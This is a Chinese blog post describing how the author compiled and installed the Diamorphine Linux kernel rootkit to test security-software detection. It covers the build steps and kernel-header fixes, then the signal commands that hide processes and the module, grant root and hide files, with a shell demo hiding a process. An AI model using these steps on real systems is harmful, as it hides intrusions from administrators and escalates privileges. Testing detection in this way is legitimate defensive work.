由于需要验证一个rootkit能否被安全软件检测到,故网上搜了下常见rootkit,发现一个叫diamorphine的,很简单易用,在此记录一下。
声明:仅学习参考用,非法用途后果自负。

Diamorphine是一个C语言写的,运行于linux系统的rootkit,支持linux 内核版本2.6.x/3.x/4.x。

本文验证环境:
系统:CentOS 7
内核:Linux 3.10.0-1062.12.1.el7.x86_64
(uname -s -r命令可以查看系统内核版本)
用户:root(必须要用root用户)

安装Diamorphine

直接采用源码安装方法,先下载源码:
git clone https://github.com/m0nad/Diamorphine.git
下载完成后,进入目录(cd Diamorphine)

编译源码:
make

如果顺利(不顺利的话参见问题解决看是否遇到类似的问题),编译完成后,结果如下:

[root@test /home/rootkit/Diamorphine]# ll
total 644
-rw-r--r-- 1 root root   9416 Sep  4 17:53 diamorphine.c
-rw-r--r-- 1 root root    329 Sep  4 17:53 diamorphine.h
-rw-r--r-- 1 root root 306368 Sep  4 17:54 diamorphine.ko
-rw-r--r-- 1 root root   1805 Sep  4 17:54 diamorphine.mod.c
-rw-r--r-- 1 root root  60008 Sep  4 17:54 diamorphine.mod.o
-rw-r--r-- 1 root root 250392 Sep  4 17:54 diamorphine.o
-rw-r--r-- 1 root root   1456 Sep  4 17:53 LICENSE.txt
-rw-r--r-- 1 root root    190 Sep  4 17:53 Makefile
-rw-r--r-- 1 root root     53 Sep  4 17:54 modules.order
-rw-r--r-- 1 root root      0 Sep  4 17:54 Module.symvers
-rw-r--r-- 1 root root   1424 Sep  4 17:53 README.md

安装
insmod diamorphine.ko

卸载(暂未实际验证)
kill -63 0; rmmod diamorphine

使用

1、隐藏进程(ps命令查不到该进程了)

通过发送31信号,可以达到隐藏进程的目的
同样再次发送31信号,可以将已隐藏进程重现
命令格式:kill -31 <pid>

[root@test /home/rootkit]# ps aux | grep aia
root      69953  0.0  0.5 234104  5604 pts/0    Sl   19:46   0:01 ./bin/aia-malware
root      70330  0.0  0.0 112812   968 pts/0    S+   20:11   0:00 grep --color=auto aia
[root@test /home/rootkit]# kill -31 69953
[root@test /home/rootkit]# ps aux | grep aia
root      70333  0.0  0.0 112812   972 pts/0    S+   20:11   0:00 grep --color=auto aia
[root@test /home/rootkit]#

2、隐藏内核模块

发送63信号给模块,同样的再次发送将模块重现
注:lsmod命令可以查看系统模块信息

3、改变用户为root

发送64信号给任何进程,可以改变用户为root

4、隐藏文件/文件夹

任何以diamorphine_secret开头的文件或文件夹都会被隐藏

安装问题

执行make命令时遇到如下错误(具体错误信息可能不同,要看具体的内核版本):

make -C /lib/modules/3.10.0-1062.12.1.el7.x86_64/build M=/home/daik/rootkit/Diamorphine modules
make: *** /lib/modules/3.10.0-1062.12.1.el7.x86_64/build: No such file or directory.  Stop.
make: *** [all] Error 2

从错误信息可以发现是没有找到文件或者目录,我们手动打开
/lib/modules/3.10.0-1062.12.1.el7.x86_64/build,发现这个目录就是一个软连接,其连接到/usr/src/kernels/目录下的内核开发包,那再到这个真正的目录里面看下,发现其是空,那么问题找到了,解决方法就是按照内核开发包
安装方法:

yum install kernel-headers.x86_64 3.10.0-1062.12.1.el7
yum install kernel-devel.x86_64 3.10.0-1062.12.1.el7

如果不带具体版本,可以直接执行:

yum install kernel-headers
yum install kernel-devel

如果顺利的话,就可以发现/usr/src/kernels/目录下有内核开发包了,然后回到Diamorphine执行make即可。

如果发现安装后的内核开发包和uname查出的内核版本有细微不同(一般是小版本号),例如我的就安装了3.10.0-1127.19.1.el7.x86_64,那么就需要修改软连接了,
修改方法:

  1. 删除原有软连接,到/lib/modules/3.10.0-1062.12.1.el7.x86_64目录执行rm ./build
  2. 重新创建软连接,ln -s /usr/src/kernels/1127.19.1.el7.x86_64/ build

然后再去执行make命令即可。

目前我就遇到这些问题,大功告成。(内核版本我本想要完全匹配的,但是一直下载或者安装不了那个具体的内核版本,就没有去继续折腾,用了一个相近的内核版本了)

参考

https://blog.csdn.net/guoguangwu/article/details/100771046
https://www.jozxing.cc/archives/1410
https://www.cnblogs.com/mysky007/p/12907633.html
https://www.cnblogs.com/MYSQLZOUQI/p/5258898.html


laughbug
275 声望2 粉丝

Quitters never win and winners never quit.